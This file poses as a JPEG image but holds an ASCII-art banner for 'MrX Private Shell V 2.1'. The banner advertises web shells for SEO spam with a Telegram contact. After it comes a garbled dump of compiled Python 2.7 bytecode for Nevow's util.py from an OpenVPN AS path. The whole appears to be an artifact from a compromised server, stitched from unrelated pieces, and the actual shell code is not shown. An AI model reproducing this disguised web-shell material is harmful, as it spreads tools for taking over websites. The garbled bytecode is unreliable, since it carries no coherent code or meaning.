����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
�
�BD^c @ sc d d l Z d d l Z d e f d � � YZ d e f d � � YZ e d � Z d � Z d d l
m Z m Z d d l
m Z d d
l m Z m Z m Z m Z d d l m Z d d l m Z d d
l m Z d � Z d � Z d e f d � � YZ d e f d � � YZ d � Z y d d l m Z Wn e k
rHd � Z n Xd e f d � � YZ! d S( i����Nt UnexposedMethodErrorc B s e Z d Z RS( sK
Raised on any attempt to get a method which has not been exposed.
( t __name__t
__module__t __doc__( ( ( sV /usr/local/openvpn_as/lib/python2.7/site-packages/Nevow-0.14.3-py2.7.egg/nevow/util.pyR s t Exposec B sA e Z d Z d d � Z d � Z d � Z e � Z e d � Z RS( s�
Helper for exposing methods for various uses using a simple decorator-style
callable.
Instances of this class can be called with one or more functions as
positional arguments. The names of these functions will be added to a list
on the class object of which they are methods.
@ivar attributeName: The attribute with which exposed methods will be
tracked.
c C s
| | _ d S( N( t doc( t selfR ( ( sV /usr/local/openvpn_as/lib/python2.7/site-packages/Nevow-0.14.3-py2.7.egg/nevow/util.pyt __init__ s c G sS | s t d � � n x3 | D]+ } t | d g � | _ | j j | � q W| d S( s(
Add one or more functions to the set of exposed functions.
This is a way to declare something about a class definition, similar to
L{zope.interface.implements}. Use it like this::
| magic = Expose('perform extra magic')
| class Foo(Bar):
| def twiddle(self, x, y):
| ...
| def frob(self, a, b):
| ...
| magic(twiddle, frob)
Later you can query the object::
| aFoo = Foo()
| magic.get(aFoo, 'twiddle')(x=1, y=2)
The call to C{get} will fail if the name it is given has not been
exposed using C{magic}.
@param funcObjs: One or more function objects which will be exposed to
the client.
@return: The first of C{funcObjs}.
s, expose() takes at least 1 argument (0 given)t exposedThroughi ( t TypeErrort getattrR t append( R t funcObjst fObj( ( sV /usr/local/openvpn_as/lib/python2.7/site-packages/Nevow-0.14.3-py2.7.egg/nevow/util.pyt __call__ s
c c sJ xC t j | t j � D], \ } } | t | d g � k r | Vq q Wd S( sq
Return an iterator of the names of the methods which are exposed on the
given instance.
R N( t inspectt
getmemberst isroutineR
( R t instancet kt callable( ( sV /usr/local/openvpn_as/lib/python2.7/site-packages/Nevow-0.14.3-py2.7.egg/nevow/util.pyt exposedMethodNames@ s "c C se t | | d � } t | d g � } | t | d g � k ra | | j k r] t | | � � n | S| S( sB
Retrieve an exposed method with the given name from the given instance.
@raise UnexposedMethodError: Raised if C{default} is not specified and
there is no exposed method with the given name.
@return: A callable object for the named method assigned to the given
instance.
R N( R
t Nonet
_nodefaultR ( R R t
methodNamet defaultt methodR ( ( sV /usr/local/openvpn_as/lib/python2.7/site-packages/Nevow-0.14.3-py2.7.egg/nevow/util.pyt getK s
N(
R R R R R R R t objectR R ( ( ( sV /usr/local/openvpn_as/lib/python2.7/site-packages/Nevow-0.14.3-py2.7.egg/nevow/util.pyR s $
c C sg | j d d � } | j d d � } | j d d � } | rc | j d d � } | j d d
� } n | S( s) Borrowed from twisted.xish.domish
Escape text to proper XML form, per section 2.3 in the XML specification.
@type text: L{str}
@param text: Text to escape
@type isattrib: L{bool}
@param isattrib: Triggers escaping of characters necessary for use as attribute values
t &s &t <s <t >s >t 's 's "s "( t replace( t textt isattrib( ( sV /usr/local/openvpn_as/lib/python2.7/site-packages/Nevow-0.14.3-py2.7.egg/nevow/util.pyt escapeToXML^ s c C s� d d l m } | j | � } | j j d d g � d } | rE | S| j j d � } | r� t g | j d � d D] } | j � j d � ^ qt � j d � } | r� | Sn d
S( s� Locate the unicode encoding of the POST'ed form data.
To work reliably you must do the following:
- set the form's enctype attribute to 'multipart/form-data'
- set the form's accept-charset attribute, probably to 'utf-8'
- add a hidden form field called '_charset_'
For instance::
<form action="foo" method="post" enctype="multipart/form-data" accept-charset="utf-8">
<input type="hidden" name="_charset_" />
...
</form>
i����( t inevowt _charset_i s content-typet ;i t =t charsets utf-8N(
t nevowR% t IRequestt argsR R t received_headerst dictt splitt strip( t ctxR% t requestR) t contentTypet s( ( sV /usr/local/openvpn_as/lib/python2.7/site-packages/Nevow-0.14.3-py2.7.egg/nevow/util.pyt getPOSTCharsetr s D( t qualt namedAny( t uniquify( t Deferredt succeedt
maybeDeferredt DeferredList( t failure( t Failure( t logc C s t | j j � S( N( t tuplet tagt postpath( R1 ( ( sV /usr/local/openvpn_as/lib/python2.7/site-packages/Nevow-0.14.3-py2.7.egg/nevow/util.pyt remainingSegmentsFactory� s c C s t | j j � S( N( R@ RA t prepath( R1 ( ( sV /usr/local/openvpn_as/lib/python2.7/site-packages/Nevow-0.14.3-py2.7.egg/nevow/util.pyt currentSegmentsFactory� s t _RandomClazzc B s e Z RS( ( R R ( ( ( sV /usr/local/openvpn_as/lib/python2.7/site-packages/Nevow-0.14.3-py2.7.egg/nevow/util.pyRF � s t _NamedAnyErrorc B s e Z d Z RS( s( Internal error for when importing fails.( R R R ( ( ( sV /usr/local/openvpn_as/lib/python2.7/site-packages/Nevow-0.14.3-py2.7.egg/nevow/util.pyRG � s c C sn | d k r d } nO | d k r% t S| d k r: d } n* | d k rO d } n | d k rd d } n t | � S(
Ns __builtin__.functions types.FunctionTypes __builtin__.methods __builtin__.instancemethods types.MethodTypes __builtin__.NoneTypes types.NoneTypes __builtin__.generators types.GeneratorType( RF R7 ( t name( ( sV /usr/local/openvpn_as/lib/python2.7/site-packages/Nevow-0.14.3-py2.7.egg/nevow/util.pyt _namedAnyWithBuiltinTranslation� s ( t resource_filenamec C s: t | � j } t j j t j j t j j | � � | � S( N( R7 t __file__t ost patht joint dirnamet abspath( t
modulenamet
resource_namet
modulepath( ( sV /usr/local/openvpn_as/lib/python2.7/site-packages/Nevow-0.14.3-py2.7.egg/nevow/util.pyRJ � s t
CachedFilec B s) e Z d Z d � Z d � Z d � Z RS( sC
Helper for caching operations on files in the filesystem.
c C s | | _ | | _ | j � d S( s�
@type path: L{str}
@param path: The path to the associated file in the filesystem.
@param loader: A callable that returns the relevant data; invoked when
the cache is empty or stale.
N( RM t loadert
invalidate( R RM RU ( ( sV /usr/local/openvpn_as/lib/python2.7/site-packages/Nevow-0.14.3-py2.7.egg/nevow/util.pyR � s c C s
d | _ d S( sf
Invalidate the cache, forcing a reload from disk at the next attempted
load.
N( R t _mtime( R ( ( sV /usr/local/openvpn_as/lib/python2.7/site-packages/Nevow-0.14.3-py2.7.egg/nevow/util.pyRV � s c O sa t j j | j � } | j d k s3 | | j k rZ | j | j | | � | _ | | _ n | j S( s�
Load this file. Any positional or keyword arguments will be passed
along to the loader callable, after the path itself.
N( RL RM t getmtimeRW R RU t
_cachedObj( R R, t kwargst currentTime( ( sV /usr/local/openvpn_as/lib/python2.7/site-packages/Nevow-0.14.3-py2.7.egg/nevow/util.pyt load� s
( R R R R RV R\ ( ( ( sV /usr/local/openvpn_as/lib/python2.7/site-packages/Nevow-0.14.3-py2.7.egg/nevow/util.pyRT � s
("